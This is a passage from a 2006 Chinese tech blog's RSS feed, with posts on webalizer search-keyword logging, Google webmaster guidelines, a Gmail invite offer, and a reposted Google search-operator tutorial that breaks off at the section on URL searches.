</p><ol><li>记录访问来源：<br />在Apache配置文件中设置日志格式为combined格式，这样的日志中会包含扩展信息：其中有一个字段就是相应访问
    的转向来源：
    HTTP_REFERER，如果用户是从某个搜索引擎的搜索结果中找到了你的网页并点击过来，日志中记录的HTTP_REFERER就是用户在搜索引擎结
    果页面的URL，这个URL中包含了用户查询的关键词。</li><li>在webalizer中缺省配置针对搜索引擎的统计：如何提取HTTP_REFERER中的关键词<br />webalizer中缺省有针对yahoo, google等国际流行搜索引擎的查询格式：这里我增加了针对国内门户站点的搜索引擎参数设置<br />SearchEngine yahoo.com p=<br />SearchEngine altavista.com q=<br />SearchEngine google.com q=<br />SearchEngine    sina.com.cn word=<br />SearchEngine    baidu.com   word=<br />SearchEngine    sohu.com    word=<br />SearchEngine    163.com q=</li></ol><p>    
通过这样设置webalizer统计时就会将HTTP_REFERER中来自搜索引擎的URL中的keyword提取出来，比如：所有来自
google.com链接中，参数q的值都将被作为关键词统计下来：，从汇总统计结果中，就可以发现用户是根据什么关键词找到你的次数，以及找到你的用户
最感兴趣的是那些关键词等，进一步的，在webalizer中有设置还可以将统计结果倒出成CSV格式的日志，便于以后导入数据库进行历史统计，做更深层
次的数据挖掘等。</p><p>     以前通过WEB日志的用户分析主要是简单的基于日志中的访问时间/IP地址来源等，很明显，基于搜索引擎关键词的统计能得到的分析结果更丰富、更直观。因此，搜索引擎服务的潜在商业价值几乎是不言而喻的，也许这也是<a href="http://www.yahoo.com/">Yahoo!</a><a href="http://www.av.com/">Altavista</a>等传统搜索引擎网站在门户模式后重新开始重视搜索引擎市场的原因，看看<a href="http://www.google.com/press/zeitgeist2002.html">Google的年度关键词统计</a>就知道了，在互联网上有谁比搜索引擎更了解用户对什么更感兴趣呢？</p><p>     请看本站的反相链接统计：<a href="http://www.chedong.com/log/2003_6.log">http://www.chedong.com/log/2003_6.log</a><br />    
需要注意的是：由于Google针对Windows
2000中的IE使用的是UTF-8方式的编码，因此很多统计有时候需要在UTF-8方式下查看才是正确字符显示。从统计中能够感受到：在使用水平比较高
的IT开发人员中Google已经成为最常用的搜索引擎。而使用百度的用户也已经大大超过了传统的搜狐，新浪等门户站点，因此传统门户网站在搜索引擎上的
优势将是非常脆弱的。而从技术的发展趋势来看，以后还会有更多的利用互联网媒体做更深层次数据挖掘的服务模式出现：</p><p> </p><p><a href="http://www.cnblog.org/blog#89372927"><span>转载自cnblog.org——“突发”文字可能揭示社会趋势</span></a></p><p><span>在“新科学家”(New Scientist)在线杂志上，公布了康奈尔大学的一个新研究成果，引人注目，也许与Google 收购Pyra 的动机有关。</span></p><p><span>这所大学的计算机科学家 Jon Klenberg
开发了一个计算机算法，能够识别一篇文章中某些文字的“突发”增长，而且他发现，这些“突发”增长的文字可以用来快速识别最新的趋势和热点问题，因此能够
更有效地筛选重要信息。过去很多搜索技术都采用了简单计算文字/词组出现频率的方法，却忽略了文字使用增加的速率。</span></p><p><span>Jon
特别指出，这种方法可以应用到大量Weblog上，以跟踪社会趋势，这对商业应用也很有潜力。例如，广告商可以从成千上万的个人Blog
中快速找到潜在的需求风尚。而且只要Blog
覆盖话题范围足够大（实际上发展趋势确实如此），这项技术对政治、社会、文化和经济等领域也都会有实际意义了。</span></p><p><span>虽然Google 新闻的内部算法至今没有公开，但是人们猜测这种完全由机器所搜集的头条新闻应当不是Google搜索引擎中惯用的鸽子算法，很可能与这种“突发”判断算法有关。如此说来，<a href="http://www.chedong.com/blog/archives/000433.html">Google收购Blog工具供应商的举动确实还有更深层次的远见了</a>。</span></p><p><span>- NewScientist.com news, <a href="http://www.newscientist.com/news/news.jsp?id=ns99993405">Word ‘bursts’ may reveal online trends</a></span><br /><span>- 还没有写完这些介绍，在 SlashDot 上也看到了很多有关这个发现的讨论</span></p><p><span><h2>附：<a href="http://www.google.com/webmasters/guidelines.html">Google官方的站点设计指南</a></h2></span></p><span><ul><li>Make a site with a clear hierarchy and text links. Every page
    should be reachable from at least one static text link. 
    让网站有着清晰的结构和文本链接，所有的页面至少要有一个静态文本链接入口<br />批注：尽量不要用图片和JAVASCRIPT </li><li>Offer a site map to your users with links that point to the
    important parts of your site. If the site map is larger than 100 or so
    links, you may want to break the site map into separate pages.<br />为用户提供一个站点地图：转向网站的重要部分。如果站点地图页面超过100个链接，则需要将页面分成多个页面。<br />批注：索引页不要超过100个链接：SPIDER只考虑页面中头100个链接 </li><li>Create a useful, information-rich site and write pages that clearly and accurately describe your content.<br />用一些有用的，信息量丰富的站点，清晰并正确的描述你的信息。 </li><li>Think about the words users would type to find your pages, and make sure that your site actually includes those words within it.<br />想像用户可能用来找到你的关键词，并保证这些关键词在网站中出现。<br />批注：少用“最大”，“最好”之类的形容词，用用户最关心的词，比如：下载，歌星名字，而不是一些抽象名词。 </li><li>Try to use text instead of images to display important names,
    content, or links. The Google crawler doesn’t recognize text contained
    in images.<br />尽可能使用文本，而不是图片显示重要的名称，内容和链接。GOOGLE的机器人不认识图片中的文字。 </li><li>Make sure that your TITLE and ALT tags are descriptive and accurate.<br />保证：页面的TITLE和ALT标记正确的精确描述 </li><li>Check for broken links and correct HTML.<br />检查坏链并修正这些HTML错误。 </li><li>If you decide to use dynamic pages (i.e., the URL contains a ‘?’
    character), be aware that not every search engine spider crawls dynamic
    pages as well as static pages. It helps to keep the parameters short
    and the number of them small.<br />如果你打算使用动态页面：链接中包含"?"，必须了解：并非所有的搜索引擎的机器人能想对待静态页面一样对待动态页面，保持动态页面的参数尽可能的少也会很有帮助。 </li><li>Keep the links on a given page to a reasonable number (fewer than 100).<br />让一个页面中的链接少于100个。<br />批注：用lynx -dump http://www.chedong.com 可以模拟从robot角度看到的页面。其最后有链接统计</li></ul><p>输出类似：</p><p>   [1]Google Free Search _______________________________ Google Search<br />   (_) Search WWW (_) Search chedong.com</p><p>   更 新 [2]站点地图 / Site Map [3]留 言簿 / Guest Book [4]意见反馈 /<br />   Feed Back<br />    …<br />References</p><p>   Visible links<br />   1. http://www.google.com/services/free.html<br />   2. http://www.chedong.com/sitemap.html#sitemap<br />   3. http://www.chedong.com/guestbook/<br />   4. http://www.chedong.com/formmail.htm<br />    …<br />   Hidden links:<br />  50. http://www.chedong.com/bbcweb/<br />    …</p><p>     搜索引擎的宗旨在于提取互联网中质量最好的内容提供给用户，任何有利于帮助用户获得相对公正，优质内容的策略都是搜索引擎追求目标。PageRank是一个非常好的策略，但是并非所有策略都是基于非常复杂的算法。<br />从搜索引擎看来什么是互联网中“好”的内容呢？ </p><ul><li>首先：互联网大约是8G个网页，而且以每天2M的速度增长的。其中80%以上是动态网页，而占总量20%的静态网页就是一个相对比较简单的过滤规则。 </li><li>其次：用户友好（User
    friendly）也是很重要的方面，搜索引擎利用算法帮助提升这些优质网站，包括：通过CSS将内容和表现分离：较少的javascript和
    frame结构，spider本身也很难深入抓取这些网页：Javascript和frame结构大部分是广告。 </li><li>标题明确：无标题，重复标题或者标题SPAM（类似于：游戏游戏游戏游戏游戏游戏这样的标题）进行过滤或降低得分页面大小：因为页面过大会导致用户下载缓慢，所以很多引擎只计算页面大小在100k以内的网页。 </li><li>链接引用：不仅需要有链接链入，也需要帮助用户找到其他更有价值的内容； </li><li>文件类型：PDF和DOC等专业文档和来自edu,gov等非赢利网站的内容； </li><li>链入网站的文字：所有用户不可见的因素全部被忽略。此外：<a href="http://weblog.chedong.com/archives/000397.html">用户搜索的行为本身也被Google记录</a>，可能对目标网站的主题相关度有帮助。 </li></ul><p> </p><p>参考资料：</p><p>面向Google搜索引擎的网站设计优化<br /><a href="http://www.google-search-engine-optimization.com/">http://www.google-search-engine-optimization.com/</a></p><p><a href="http://www.rankforsales.com/seo-myths.html">关于Google排名优化的7个误区，如："Meta tag", "泛域名"，首页等</a></p><p>如何评价一个网站的人气<br /><a href="http://www.chedong.com/tech/link_pop_check.html">http://www.chedong.com/tech/link_pop_check.html</a></p><p>如何提高网站在Google中的排名——面向搜索引擎的广告模式<br /><a href="http://www.chedong.com/tech/google_ads.html">http://www.chedong.com/tech/google_ads.html</a></p><p>如何提高网站在Google中的排名——面向搜索引擎的网站链接设计<br /><a href="http://www.chedong.com/tech/google_url.html">http://www.chedong.com/tech/google_url.html</a></p><p>Google不断改进相应的算法：HillTop<br /><a href="http://www.cs.toronto.edu/%7Egeorgem/hilltop/">Hilltop: A Search Engine based on Expert Documents</a></p><p>Google の秘密 - PageRank 徹底解説<br /><a href="http://www.kusastro.kyoto-u.ac.jp/%7Ebaba/wais/pagerank.html">http://www.kusastro.kyoto-u.ac.jp/~baba/wais/pagerank.html<br /></a>这篇文章是在查"Google PageRank"的时候查到的，这篇文章不仅有一个算法说明，也是一个Google的weblog，记录了很多关于Google的新闻和一些市场动态信息。<br /><a href="http://linux.dalouis.com/pagerank_cn.htm">Google 的秘密- PageRank 彻底解说 中文版</a></p><p>更详细的PageRank算法说明：<br /><a href="http://pr.efactory.de/">http://pr.efactory.de/</a></p><p><a href="http://www.chedong.com/tech/awstats.html">WEB日志统计工具AWStats的使用：增加了Unicode的解码和中国主要门户搜索的定义</a><br />http://www.chedong.com/tech/awstats.html </p><p>Robots的说明：<br /><a href="http://bar.baidu.com/robots/">http://bar.baidu.com/robots/</a><br /><a href="http://www.google.com/bot.html">http://www.google.com/bot.html</a><br />搜索引擎通过一种程序robot（又称spider），自动访问互联网上的网页并获取网页信息。您可以在您的网站中创建一个纯文本文件 robots.txt，在这个文件中声明该网站中哪些内容可以被robot访问，哪些不可以。</p><p>反Google站点：观点也很有趣<br /><a href="http://www.google-watch.org/">http://www.google-watch.org/</a></p><p>关于Google的WebLog<br /><a href="http://google.blogspace.com/">http://google.blogspace.com/</a></p><p><a href="http://www.21cnbj.com/industrynews/articles_2003/Expert00-3.htm">关于Google的HillTop算法</a></p><p>搜索引擎相关论坛<br /><a href="http://www.jimworld.com/apps/webmaster.forums/">http://searchengineforums.com/</a><br /><a href="http://searchenginewatch.com/">http://searchenginewatch.com</a><br /><a href="http://www.webmasterworld.com/">http://www.webmasterworld.com/</a></p></span><img src ="http://www.cnitblog.com/martin/aggbug/9455.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 16:47 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9455.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>需要gmail信箱的请留下email</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9454.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 08:41:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9454.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9454.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9454.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9454.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9454.html</trackback:ping><description><![CDATA[还有90多个呢，不知道推荐给谁了:)<img src ="http://www.cnitblog.com/martin/aggbug/9454.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 16:41 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9454.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Google搜索从入门到精通v4.0</title><link>http://www.cnitblog.com/martin/archive/2006/04/14/9178.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 14 Apr 2006 04:38:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/14/9178.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9178.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/14/9178.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9178.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9178.html</trackback:ping><description><![CDATA[
		<p align="left">
				<b>From: http://www.blueidea.com/tech/site/2005/2699.asp<br /></b>
		</p>
		<p align="center">
				<b>Google搜索从入门到精通v4.0</b>
				<br />
		</p>
		<p align="left">1，前言<br />2，摘要<br />3，如何使用本文<br />4，Google简介<br />5，搜索入门<br />6，初阶搜索<br />　　6.1，搜索结果要求包含两个及两个以上关键字<br />　　6.2，搜索结果要求不包含某些特定信息<br />　　6.3，搜索结果至少包含多个关键字中的任意一个<br />7，杂项语法<br />　　7.1，通配符问题<br />　　7.2，关键字的字母大小写<br />　　7.3，搜索整个短语或者句子<br />　　7.4，搜索引擎忽略的字符以及强制搜索<br />8，进阶搜索<br />　　8.1，对搜索的网站进行限制<br />　　8.2，查询某一类文件<br />　　8.3，搜索的关键字包含在URL链接中<br />　　8.4，搜索的关键字包含在网页标题中<br />　　8.5，搜索的关键字包含在网页“锚”内<br />9，其他罕用语法<br />　　9.1，搜索所有链接到某个URL地址的网页<br />　　9.2，查找与某个页面结构内容相似的页面<br />　　9.3，从Google服务器上缓存页面中查询信息<br />10，图片搜索<br />11，目录检索<br />12，新闻组搜索<br />13，Google的其他杰出功能<br />　　13.1，网页快照<br />　　13.2，集成化的工具条<br />　　13.3，单词英文解释<br />　　13.4，网页翻译<br />　　13.5，单词纠错<br />　　13.6，搜索结果过滤<br />14，Google尚未发布的一些新特性和功能<br />　　14.1，对网页更新日期做出限定<br />　　14.2，新闻搜索<br />　　14.3，分类广告搜索<br />　　14.4，其它Google的最新发展动态<br />　　14.5，一个有趣的地方<br />15，后记</p>
		<p>
				<b>1，前言</b>
		</p>
		<p>我是在2000年上半年知道Google的。在这之前，我搜索英文信息通常用AltaVista，而搜索中文信息则常用Sina。但自使用了
Google之后，它便成为我的Favorite Search
engine了。这也得感谢新浪网友曹溪，因为当初正是因为他的大力推介，才使我识得了Google。</p>
		<p>记得1996年夏季的时候，当我第一次接触Internet，便被扑面而来的魔力征服了。那种天涯咫尺的感觉，真是妙不可言。在经历了疯狂的WWW冲浪和如痴如醉的BBS沉迷之后，我意识到Internet对我影响至深的还是在于学习方式的变迁。</p>
		<p>如何来描述这种变迁呢？以前的学习，一般需要预先在肚子里存储下足够的知识，必要时，就从海量的信息中提取所需的部分。这种学习方式造就了很多“才
高八斗，学富五车”的大才子。但是，到了信息领域大大超出“四书五经”的新时期，预先无目的的吞下海量信息的学习方式就有些不合时宜了。比方说，我们到了
大型的图书城，往往有一种不知所措的感觉。旧有的学习方式需要变更以适应这个信息爆炸的年代。目的明确的去学习，即先知道要学什么，然后有目的的去寻找答
案，这种方式看上去更加有效率。我不妨把这称为“即学式”，相应的，旧有的称为“预学式”。</p>
		<p>不过，“即学式”的实施是有前提的。首先，要求学习者拥有一个包罗万象的信息库，以供随时抽取各种目的信息；其次，是需要一个强劲的信息检索工具，
以便高效率的从信息库中提取信息。很明显，Internet可以充当那个海量的信息库，而搜索引擎，则正是寻找光明之火的绝好工具。</p>
		<p>“公欲善其事，必先利其器”。Internet只有一个，而搜索引擎则有N多个。有搜索高手说，所谓搜索，就是“在正确的地方使用正确的工具和正确
的方法寻找正确的内容”。但是，对于普通人而言，掌握诸多搜索引擎的可能性似乎不大。用一两个相对强劲的具代表性的工具达到绝大多数搜索目的更为人们所迫
切希望。不同的时期，涌现出不同的强者。就目前而言，我们非常幸运的有了： *****Google******</p>
		<p>
				<b>2，摘要</b>
		</p>
		<p>本文简要的介绍了Google的历史和特点，Google的基本搜索语法和高级搜索语法，Google的特色功能，包括图片搜索、新闻组搜索和集成
工具条等。尽管本文名为“Google搜索从入门到精通”，但事实上，本文只能算是对Google的一个并不十分完全的介绍而已。:)</p>
		<p>
				<b>3，如何使用本文</b>
		</p>
		<p>阅读本文最好具备一些最基本的布尔代数基础，如“与”、“或”、“非”等。不过，即便你没有这方面的知识，也不必在意。对那些实例进行练习，你的疑
惑就会迎刃而解。对于刚刚接触网络搜索的读者而言，也许你应该从头到尾的阅读本文；但对于那些有一定搜索基础的读者而言，只需要跳跃着寻找自己所需要的信
息就可以了。此外，你也可以参考中文Google大全：<a href="http://www.google.com/intl/zh-CN/about.html">http://www.Google.com/intl/zh-CN/about.html</a>，以及搜索帮助：<a href="http://www.google.com/intl/zh-CN/help.html">http://www.google.com/intl/zh-CN/help.html</a>，那是官方Google使用手册以及问题解答中心。</p>
		<p>
				<b>4，Google简介</b>
		</p>
		<p>Google（<a href="http://www.google.com/">www.Google.com</a>）是一个搜索引擎，由两
个斯坦福大学博士生Larry Page与Sergey Brin于1998年9月发明，Google Inc.
于1999年创立。2000年7月份，Google替代Inktomi成为Yahoo公司的搜索引擎，同年9月份，Google成为中国网易公司的搜索引
擎。98年至今，Google已经获得30多项业界大奖。到Google的新闻中心（<a href="http://www.google.com/press/index.html">http://www.Google.com/press/index.html</a>），你可以找到关于一切关于Google的历史和新闻资料。</p>
		<p>Google的成功得益于其强大的功能和独到的特点：</p>
		<blockquote>
				<p>Google检索网页数量达24亿，搜索引擎中排名第一；<br />Google支持多达132种语言，包括简体中文和繁体中文；<br />Google网站只提供搜索引擎功能，没有花里胡哨的累赘；<br />Google速度极快，年初时据说有15000多台服务器，200多条T3级宽带；<br />Google的专利网页级别技术PageRank能够提供准确率极高的搜索结果；<br />Google智能化的“手气不错”功能，提供可能最符合要求的网站；<br />Google的“网页快照”功能，能从Google服务器里直接取出缓存的网页。</p>
				<p>Google具有独到的图片搜索功能；<br />Google具有强大的新闻组搜索功能；<br />Google具有二进制文件搜索功能（PDF，DOC，SWF等）；<br />Google还有很多尚在开发阶段的令人吃惊的设想和功能。<br />等等</p>
		</blockquote>
		<p>
				<b>5，搜索入门</b>
		</p>
		<p>要用Google做搜索，当然首先要进Google网站--www.Google.com；不过，163.com和yahoo.com.cn使用的
实际上也是Google搜索引擎，只是对搜索结果进行了编排，而且无法提供一些特色功能，如图片搜索等。因此，如果你要搜索网页的话，就直接使用
Google.com吧。</p>
		<p>第一次进入Google，它会根据你的操作系统，确定语言界面。需要提醒的是，Google是通过cookie来存储页面设定的，所以，如果你的系统禁用cookie，就无法对Google界面进行个人设定了。</p>
		<p>Google的首页很清爽，LOGO下面，排列了四大功能模块：网站、图像、新闻组和目录服务。默认是网站搜索。现在进行第一次搜索实践，假定你是
个搜索新手，想要了解一下搜索引擎的来龙去脉和搜索技巧。在搜索框内输入一个关键字“搜索引擎”，
选中“搜索中文(简体)网页”选项，然后点击下面的“Google搜索”按钮（或者直接回车），结果就出来了。 搜索：“搜索引擎”<br />结果：已搜索有关搜索引擎的中文(简体)网页。 共约有707,000项查询结果，这是第1-10项 。 搜索用时0.08秒。</p>
		<p>仔细看一下搜索结果的前十项，就会发现绝大部分链接是搜索引擎本身，而不是对搜索引擎的或者搜索技巧方面的介绍。</p>
		<p>注意：文章中搜索语法外面的引号仅起引用作用，不能带入搜索栏内。</p>
		<p>
				<b>6，初阶搜索</b>
		</p>
		<p>上例是最基本的搜索，即查询包含单个关键字的信息。但是，你可以发现，上例中，单个关键字“搜索引擎”，搜索得的信息浩如烟海，而且绝大部分并不符合自己的要求，怎么办呢？我们需要进一步缩小搜索范围和结果。</p>
		<p>6.1，搜索结果要求包含两个及两个以上关键字</p>
		<p>一般搜索引擎需要在多个关键字之间加上“ ”，而Google无需用明文的“ ”来表示逻辑“与”操作，只要空格就可以了。现在，我们需要了解一下搜索引擎的历史，因此期望搜得的网页上有“搜索引擎”和“历史”两个关键字。</p>
		<p>示例：搜索所有包含关键词“搜索引擎”和“历史”的中文网页<br />搜索：“搜索引擎 历史”<br />结果：已搜索有关搜索引擎 历史的中文(简体)网页。 共约有78,600项查询结果，这是第1-10项 。 搜索用时0.36秒。</p>
		<p>用了两个关键字，查询结果已经从70多万项减少到7万多项。但查看一下搜索结果，发现前列的绝大部分结果还是不符合要求，大部分网页涉及的“历
史”，并不是我们所需要的“搜索引擎的历史”。
怎么办呢？删除与搜索引擎不相关的“历史”。我们发现，这部分无用的资讯，总是和“文化”这个词相关的，另外一些常见词是“中国历史”、“世界历史”、
“历史书籍”等。</p>
		<p>6.2，搜索结果要求不包含某些特定信息</p>
		<p>Google用减号“-”表示逻辑“非”操作。“A –B”表示搜索包含A但没有B的网页。</p>
		<p>示例：搜索所有包含“搜索引擎”和“历史”但不含“文化”、“中国历史”和“世界历史”的中文网页<br />搜索：“搜索引擎 历史 -文化 -中国历史 -世界历史”<br />结果：已搜索有关搜索引擎 历史 -文化 -中国历史 -世界历史的中文(简体)网页。 共约有36,800项查询结果，这是第1-10项 。 搜索用时0.22秒。</p>
		<p>我们看到，通过去掉不相关信息，搜索结果又减少了将近一半。第一个搜索结果是：</p>
		<p>搜索引擎直通车≡搜索引擎发展历史<br />搜索引擎直通车, ... 搜索引擎专业介绍站点. ...<br />www.se-express.com/about/about.htm - 14k - 网页快照 - 类似网页</p>
		<p>非常符合搜索要求。另外，第八项搜索结果：</p>
		<p>463搜索王<br />本站检索 整个网站 在此输入关键词. 你的当前<br />位置：首页 &gt;&gt; Internet搜索手册 &gt;&gt; 搜索引擎的历史. ...<br />www.cnco.net/search/history.htm - 21k - 网页快照 - 类似网页</p>
		<p>也符合搜索要求。但是，10个结果只有两个符合要求，未免太少了点。不过，在没有更好的策略之前，不妨先点开一个结果看看。点开se-
express.com的这个名为“搜索引擎发展历史”的网页，我们发现，搜索引擎的历史，是与互联网早期的文件检索工具“Archie”息息相关的。此
外，搜索引擎似乎有个核心程序，叫“蜘蛛”，而最早成型的搜索引擎是“Lycos”，使搜索引擎深入人心的是“Yahoo”。了解了这些信息，我们就可以
进一步的让搜索结果符合要求了。</p>
		<p>注意：这里的“ ”和“-”号，是英文字符，而不是中文字符的“＋”和“－”。此外，操作符与作用的关键字之间，不能有空格。比如“搜索引擎 - 文化”，搜索引擎将视为关键字为“搜索引擎”和“文化”的逻辑“与”操作，中间的“-”被忽略。</p>
		<p>6.3，搜索结果至少包含多个关键字中的任意一个。</p>
		<p>Google用大写的“OR”表示逻辑“或”操作。搜索“A OR
B”，意思就是说，搜索的网页中，要么有A，要么有B，要么同时有A和B。在上例中，我们希望搜索结果中最好含有“archie”、“lycos”、“蜘
蛛”等关键字中的一个或者几个，这样可以进一步的精简搜索结果。</p>
		<p>示例：搜索如下网页，要求必须含有“搜索引擎”和“历史”，没有“文化”，可以含有以下关键字中人任何一个或者多个：“Archie”、“蜘蛛”、“Lycos”、“Yahoo”。<br />搜索：“搜索引擎 历史 archie OR 蜘蛛 OR lycos OR yahoo -文化”<br />结果：已搜索有关搜索引擎 历史 archie OR 蜘蛛 OR lycos OR yahoo -文化的中文(简体)网页。 共约有8,400项查询结果，这是第1-10项 。 搜索用时0.16秒。</p>
		<p>我们看到，搜索结果缩小到8千多项，前20项结果中，大部分都符合搜索要求。如果你想了解一下解搜索引擎的历史发展，就不妨研究一下现在搜索到的结果吧。 注意：“与”操作必须用大写的“OR”，而不是小写的“or”。</p>
		<p>在上面的例子中，我介绍了搜索引擎最基本的语法“与”“非”和“或”，这三种搜索语法Google分别用“
”（空格）、“-”和“OR”表示。顺着上例的思路，你也可以了解到如何缩小搜索范围，迅速找到目的资讯的一般方法：目标信息一定含有的关键字（用“
”连起来），目标信息不能含有的关键字（用“-”去掉），目标信息可能含有的关键字（用“OR”连起来）。</p>
		<p>
				<b>7，杂项语法</b>
		</p>
		<p>7.1，通配符问题</p>
		<p>很多搜索引擎支持通配符号，如“*”代表一连串字符，“?”代表单个字符等。Google对通配符支持有限。它目前只可以用“*”来替代单个字符，
而且包含“*”必须用""引起来。比如，“"以*治国"”，表示搜索第一个为“以”，末两个为“治国”的四字短语，中间的“*”可以为任何字符。</p>
		<p>7.2，关键字的字母大小写</p>
		<p>Google对英文字符大小写不敏感，“GOD”和“god”搜索的结果是一样的。</p>
		<p>7.3，搜索整个短语或者句子</p>
		<p>Google的关键字可以是单词（中间没有空格），也可以是短语（中间有空格）。但是，用短语做关键字，必须加英文引号，否则空格会被当作“与”操作符。</p>
		<p>示例：搜索关于第一次世界大战的英文信息。<br />搜索：“"world war I"”<br />结果：已向英特网搜索"world war i". 共约有937,000项查询结果，这是第1-10项 。 搜索用时0.06秒。</p>
		<p>7.4，搜索引擎忽略的字符以及强制搜索</p>
		<p>Google对一些网路上出现频率极高的英文单词，如“i”、“com”、“www”等，以及一些符号如“*”、“.”等，作忽略处理。</p>
		<p>示例：搜索关于www起源的一些历史资料。<br />搜索：“www的历史 internet”<br />结果：以下的字词因为使用过于频繁，没有被列入搜索范围: www 的. 已搜索有关www的历史 internet的中文(简体)网页。 共约有75,100项查询结果，这是第1-10项 。 搜索用时0.22秒。</p>
		<p>我们看到，搜索“www的历史
internet”，但搜索引擎把“www”和“的”都省略了。于是上述搜索只搜索了“历史”和“internet”。这显然不符合要求。这里我顺便说一
点搜索引擎分词的知识。当我们在搜索“www的历史”的时候，搜索引擎实际上把这个短语分成三部分，“www”、“的”和“历史”分别来检索，这就是搜索
引擎的分词。所以尽管你输入了连续的“www的历史”，但搜索引擎还是把这个短语当成三个关键字分别检索。</p>
		<p>如果要对忽略的关键字进行强制搜索，则需要在该关键字前加上明文的“+”号。<br />搜索：“+www +的历史 internet”<br />结果：已搜索有关+www +的历史 internet的中文(简体)网页。 共约有25,000项查询结果，这是第1-10项 。 搜索用时0.05秒。</p>
		<p>另一个强制搜索的方法是把上述的关键字用英文双引号引起来。在上例“”world war I””中，“I”其实也是忽略词，但因为被英文双引号引起来，搜索引擎就强制搜索这一特定短语。</p>
		<p>搜索：“"www的历史" internet”<br />结果：已搜索有关"www的历史" internet的中文(简体)网页。 共约有7项查询结果，这是第1-6项 。 搜索用时0.26秒。</p>
		<p>我们看到，这一搜索事实上把“www的历史”作为完整的一个关键字。显然，包含这样一个特定短语的网页并不是很多，不过，每一项都很符合要求。</p>
		<p>注意：大部分常用英文符号（如问号，句号，逗号等）无法成为搜索关键字，加强制也不行。</p>
		<p>
				<b>8，进阶搜索</b>
		</p>
		<p>上面已经探讨了Google的一些最基础搜索语法。通常而言，这些简单的搜索语法已经能解决绝大部分问题了。不过，如果想更迅速更贴切找到需要的信息，你还需要了解更多的东西。</p>
		<p>8.1，对搜索的网站进行限制</p>
		<p>“site”表示搜索结果局限于某个具体网站或者网站频道，如“www.sina.com.cn”、“edu.sina.com.cn”，或者是某个域名，如“com.cn”、“com”等等。如果是要排除某网站或者域名范围内的页面，只需用“-网站/域名”。</p>
		<p>示例：搜索中文教育科研网站（edu.cn）上关于搜索引擎技巧的页面。<br />搜索：“搜索引擎 技巧 site:edu.cn”<br />结果：已搜索有关搜索引擎 技巧 site:edu.cn的中文(简体)网页。 共约有608项查询结果，这是第1-10项 。 搜索用时0.05秒。</p>
		<p>示例：上著名IT门户网站ZDNET和CNET搜索一下关于搜索引擎技巧方面的资讯。<br />搜索：“"search engine" tips site:www.zdnet.com OR site:www.cnet.com”<br />结果：已在www.zdnet.com内搜索有关"search engine" tips OR site:www.cnet.com的网页。 共约有1,040项查询结果，这是第1-10项 。 搜索用时0.09秒。</p>
		<p>注意，在这里Google有个小BUG。“已在www.zdnet.com内搜索…”，其实应该表述成“已在www.zdnet.com和www.cnet.com内搜索…”。</p>
		<p>示例：搜索新浪科技频道中关于搜索引擎技巧的信息。<br />搜索：“搜索引擎 技巧 site:tech.sina.com.cn”<br />结果：已在tech.sina.com.cn搜索有关搜索引擎 技巧 的中文(简体)网页。 共约有163项查询结果，这是第1-10项 。 搜索用时0.07秒。</p>
		<p>注意：site后的冒号为英文字符，而且，冒号后不能有空格，否则，“site:”将被作为一个搜索的关键字。此外，网站域名不能有“http://”前缀，也不能有任何“/”的目录后缀；网站频道则只局限于“频道名.域名”方式，而不能是“域名/频道名”方式。</p>
		<p>8.2，在某一类文件中查找信息</p>
		<p>“filetype:”是Google开发的非常强大实用的一个搜索语法。也就是说，Google不仅能搜索一般的文字页面，还能对某些二进制文档
进行检索。目前，Google已经能检索微软的Office文档如.xls、.ppt、.doc，.rtf，WordPerfect文档，Lotus1-
2-3文档，Adobe的.pdf文档，ShockWave的.swf文档（Flash动画）等。其中最实用的文档搜索是PDF搜索。PDF是ADOBE
公司开发的电子文档格式，现在已经成为互联网的电子化出版标准。目前Google检索的PDF文档大约有2500万左右，大约占所有索引的二进制文档数量
的80％。PDF文档通常是一些图文并茂的综合性文档，提供的资讯一般比较集中全面。</p>
		<p>示例：搜索几个资产负债表的Office文档。<br />搜索：“资产负债表 filetype:doc OR filetype:xls OR filetype:ppt”<br />结果：已搜索有关资产负债表 filetype:doc OR filetype:xls OR filetype:ppt的中文(简体)网页。 共约有481项查询结果，这是第1-10项 。 搜索用时0.04秒。</p>
		<p>注意，下载的Office文件可能含有宏病毒，谨慎操作。</p>
		<p>示例：搜索一些关于搜索引擎知识和技巧方面的PDF文档<br />搜索：?quot;search engine" tips OR tutorial filetype:pdf”<br />结果：已向英特网搜索"search engine" tips OR tutorial filetype:pdf. 共约有12,600项查询结果，这是第1-10项 。 搜索用时0.22秒。</p>
		<p>我们来看其中的一个结果：</p>
		<p>[PDF]Search Engines Tips<br />文档类型: PDF/Adobe Acrobat - HTML 版<br />... http://www.google.com/press/zeitgeist.html See what people are searching on at Google.com<br />* Search Engine Watch http://searchenginewatch.com/ Some free tips ...<br />www.allvertical.com/PromoKits/SearchEngineTips.pdf - 类似网页</p>
		<p>可以看到，Google用[PDF]来标记这是一个PDF的文档检索，另外，它还给出了该PDF文档的HTML版本，该HTML版保留了文档的文字内容和结构，但没有图片。</p>
		<p>8.3，搜索的关键字包含在URL链接中</p>
